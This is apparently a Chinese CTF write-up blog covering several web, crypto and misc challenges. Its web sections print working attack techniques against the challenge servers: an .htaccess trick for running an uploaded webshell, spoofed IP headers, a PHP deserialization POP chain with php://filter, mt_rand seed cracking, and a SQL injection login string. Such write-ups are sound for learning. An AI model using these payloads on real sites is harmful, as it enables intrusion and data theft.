這波比賽終於寫上了幾題 Web 的題,感覺挺開心了,雖然過程有點曲折(說到底還是我菜 不過學到了一些東西,也使自己的思路更清晰了一些。

Summary

很開心的是這次把有思路的 Web 題目都寫出來了,雖然 Typecho 那題也應該能寫出來的,可惜的是還沒找到切入點,思路出了問題。至於 WASM 那題,完全都沒接觸過,所以自然不知道怎麼下手手。這波感覺 Misc 的題目用了很多新的東西,也充分地跟聲波鬥智鬥勇了,雖然最後沒完全寫出來,也學了不少東西。至於 Crypto 嘛,認真寫了的題裡倒是沒啥新奇的。

Reflection

雖然這次沒有因為一道題而不去看其他的,但是出現了新的問題,一個單詞的拼寫浪費了大量的時間去檢查,應該更加細心一點的。另外一點就是熟悉的東西真的太少了,會的東西也很少QAQ

Write Up

ez_bypass

MD5is_numbericPOST & GET Trick

這題感覺是直白的代碼審計,一上來就給了段代碼。稍微看了一下之後發現兩個點,MD5的 if (md5($id) === md5($gg) && $id !== $gg) 可以簡單地用數組繞過。is_numberic 可以加個 %0 來繞過。因此,直接傳兩個 GET 參數 id[]=1&gg[]=2 加上一個 POST 參數 passwd=1234567%0 即可拿到 flag。

你傳你🐎呢

Apache · htaccessUpload

這題一開始我沒注意到用的 Apache 然後瘋狂嘗試各種改包,結果都失敗了。其實要先上傳個 .htaccess,這是 Apache 獨有的機制。(當然 nginx 也可以用不一樣的方法實現,甚至使 nginx 支持 .htaccess)因此,寫個 .htaccess 使 jpg 文件解析為 php 從而執行。

1
2
3
<FilesMatch "crack.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

值得注意的是,要先攔截這個數據包然後修改 Content-Type 才能成功上傳,也可以先選一張圖片,然後修改 filename 和內容(我就是用的這個套路)。完成之後再寫一段一句話木馬,記事本存起來拓展名改成 .jpg 就好。然後上傳之後嘗試訪問一下,沒問題之後直接拿菜刀連上去根目錄找 flag。(其實是因為試了幾次之後發現 system() 啥的都沒給,其實還可以用 include() 啥的,但是當時想著,不如直接上菜刀)

套娃

RegexpCharHeadersStrings · RequestJSFuck

上來看一手頁面源碼,於是找到了第一步。要求大概是要 b_u_p_t 但是不給 _,加一個簡單的正則繞過。於是構造一波 ...?b.u.p.t=23333%0a 成功拿到下一步線索 FLAG is in secrettw.php

1
2
3
4
5
6
7
8
9
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

訪問 secrettw.php 之後發現頁面源碼中有一段 JSFuck,丟到 Console 裡面執行一下,提示 post me Merak。於是照著嘗試了一下,拿到一段代碼。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}

function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

首先照著代碼給的要求構造 GET 請求,因為有個 file_get_contents() 函數,所以構造 $_GET['2333'] 有兩種方法,php://input + POST 或者直接用 data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk= 來構造。觀察到 $_GET['file'] 這個文件會首先被 change() 然後再輸出文件內容,所以需要先把 flag.php 倒著 change() 一次,這樣之後就能輸出 flag.php 從而拿到 flag。於是寫一波 RecChange()

1
2
3
4
5
6
7
8
function RecChange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
$re = base64_encode($re);
return $re;
}

將 flag.php RecChange() 之後拼接到 payload 中。在看代碼,要求 $ip === 127.0.0.1,於是用 Client-IP: 127.0.0.1 這個 header 達成。於是 payload 構造完成,得到 .../secrettw.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=。最後,根據代碼,去除掉最開始的 POST 參數,請求之後查看網頁源碼即得 flag。

PYwebsite

Headers

這題一開始給了個很有梗的網頁(事實證明這題都很有梗),找了找網頁源碼,發現一個 flag.php。直接訪問之後又是一個很有梗的頁面,關鍵詞是 IP。於是果斷試一手 X-Forwarded-For: 127.0.0.1,訪問後成功在網頁源碼中找到 flag。

Ezpop

PHP 偽協議Unserialize

這題一開始就給了一段源碼,仔細查看之後知道就是反序列化的考點。很明顯,include() 就是可以利用的地方,於是一路往下找,__invoke(),這裡要求以調用函數的方式調用一個對象。這點使用 __get() 可以實現,而這又要求獲取一個類中不可達的屬性。在 __wakeup() 中有一個 $this->source 的參數,使得 source 被當作一個字符串而觸發 __toString()。而恰好 __toString() 可以觸發 __get()。這樣一系列的觸發就完成了,因為知道 flag 在 flag.php 中,因此要在 include() 中使用 php 偽協議來包含這個文件。於是稍加修改代碼然後得到序列化的結果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$p1 = new Modifier();
$p2 = new Test();
$p2->p = $p1;
$p3 = new Show();
$p3->str = $p2;
$exp = new Show();
$exp->source = $p3;
$dexp = serialize($exp);

這樣就能得到序列化的結果。因為涉及到保護字段,所以在構造 payload 的時候記得把字段名前面的空格恢復成\x00,不然會導致反序列化失效從而無法執行。這裡構造完成之後用 Python 或者 BurpSuite 發送數據包之後可以在響應中得到一串 base64 文本,解碼後可以找到 flag。

Ezaudit

SQL Injectionphp_mt_seed

不愧是好看的 CSS,找了半天沒有找到切入點,然後堆堆告訴我說有源碼。(我沒掃出來)於是我就直接下載了一份。不過查看源碼的時候找到了 .../login.html,結合源碼中的公鑰私鑰和隨機數生成,查了一下搜索引擎之後找到了 php_mt_seed 這個工具。於是將源碼註釋中給出的公鑰整理,然後使用這個工具算出種子。得到的種子是 1775196155。

設置好種子之後,開始跑私鑰。需要注意的是,這個公鑰需要使用 PHP 5.6.x 才能夠對得上。於是以此生成公鑰和私鑰,得到的私鑰是 XuNhoueCDCGc。將其整合到 payload 中,然後再簡單地過一下 password 的 SQL 注入。最後的 POST 數據是這樣的 Private_key=XuNhoueCDCGc&login=%E7%99%BB%E5%BD%95&password=1' or 1=1 #&username=admin ,訪問之後可得 flag。

天干地支+甲子

給出的信息是 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 辛丑,經過大家的提醒之後找了個干支表,對著將每一年轉換成了數字 11 51 51 40 46 51 38。然後題目要求加一個甲子,也就是六十年,加上之後數字變成這樣 71 111 111 100 106 111 98,將其進行十進制的編碼轉換之後,得到了 flag 的內容 Goodjob

keyboard

這題給出的信息是 6 666 22 444 555 33 7 44 666 66 33。觀察一下可以發現,1 和 0 都沒有出現過,加上數字有重複且不超過三,比較符合九鍵拼音的鍵盤。於是嘗試解密一波,得到 MOBILEPHONE。此即 flag 的內容。

vigenere

這題給了一篇很長的文章,但是出現了很多不一樣的單字母,所以判斷其應該不是字母替換,加之標題的提示,我成功找到了這個。將文章放進去之後解密即可在文章末尾得到 flag。

千層套路

這題給了個 zip,還是加密的,但是提示跟名稱有關係。於是先上一手爆破,得到了密碼之後找到了關係,被壓縮的壓縮包的密碼等於當前壓縮包的名稱。一開始我準備直接手解來著,但是層數太多了,於是隨手碼了個 Python 腳本來解密。

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile, os

f = zipfile.ZipFile(os.path.join(os.getcwd(), 'xxxx.zip'))
print(f.namelist())
passwd = 'xxxx'
f.extract(f.namelist()[0],r'path\to\your\folder',bytes(passwd.encode('utf-8')))
while f.namelist():
filename = passwd
passwd = f.namelist()[0][0:4]
f = zipfile.ZipFile(os.path.join(os.getcwd(), filename + '.zip'))
f.extract(f.namelist()[0], r'path\to\your\folder', bytes(filename.encode('utf-8')))
print(passwd)

跑到程序出錯之後得到了最後一層 zip,打開之後得到一串文本,代表著色塊的 RGB,且非黑即白。加上 zip 的名稱猜測是一個二維碼。於是將文本複製下來,放到微軟家生產力工具 Excel 裡,使用 =OFFSET($A$1,(COLUMN(GQ902)-1)*200+MOD(ROW(GQ902)-1,200),) 將其轉換成 200x200 的結構,然後將顯示比例不斷縮小,就能得到顏色差別細微的二維碼。

Excel 中內容的截圖

將其截圖之後放進 Photoshop 中。色階一頓操作之後可以得到顏色差別明顯的圖片,然後適當調整長寬比例得到二維碼。

Photoshop 處理後的二維碼

掃描上述二維碼後可得 flag。

Exploration

POST 參數的回車符

其實一開始是因為 ez_bypass 這題在復現寫 WP 的時候有奇怪的結果,本該用 %0a 字符繞過的地方直接就過了。於是就抓包看了一波。一開始發現了 POST 數據最後的 0D 0A,嘗試把它去掉之後果然就沒辦法通過了,但是這個換行符是 GET 參數後面也有的,於是就去請教了一波 Mrkaixin 學長。在他的提示下我替換了一波可顯示字符發現 POST 參數的最後一個的末尾會加上原本屬於請求的換行符。這樣就解釋了為什麼會出現奇怪的結果,而當所傳的參數不是最後一個的時候,所有的數據都是跟原本一致的。

Nginx 針對文件後綴設置 Content-Type

這次的 Apache 設置 htaccess 的題,其實在 nginx 下也可以實現相關的功能,但是沒有辦法被利用,因為要從 nginx.conf 修改。使用以下代碼可以達成目的。

1
2
3
types {
application/x-my-type ext;
}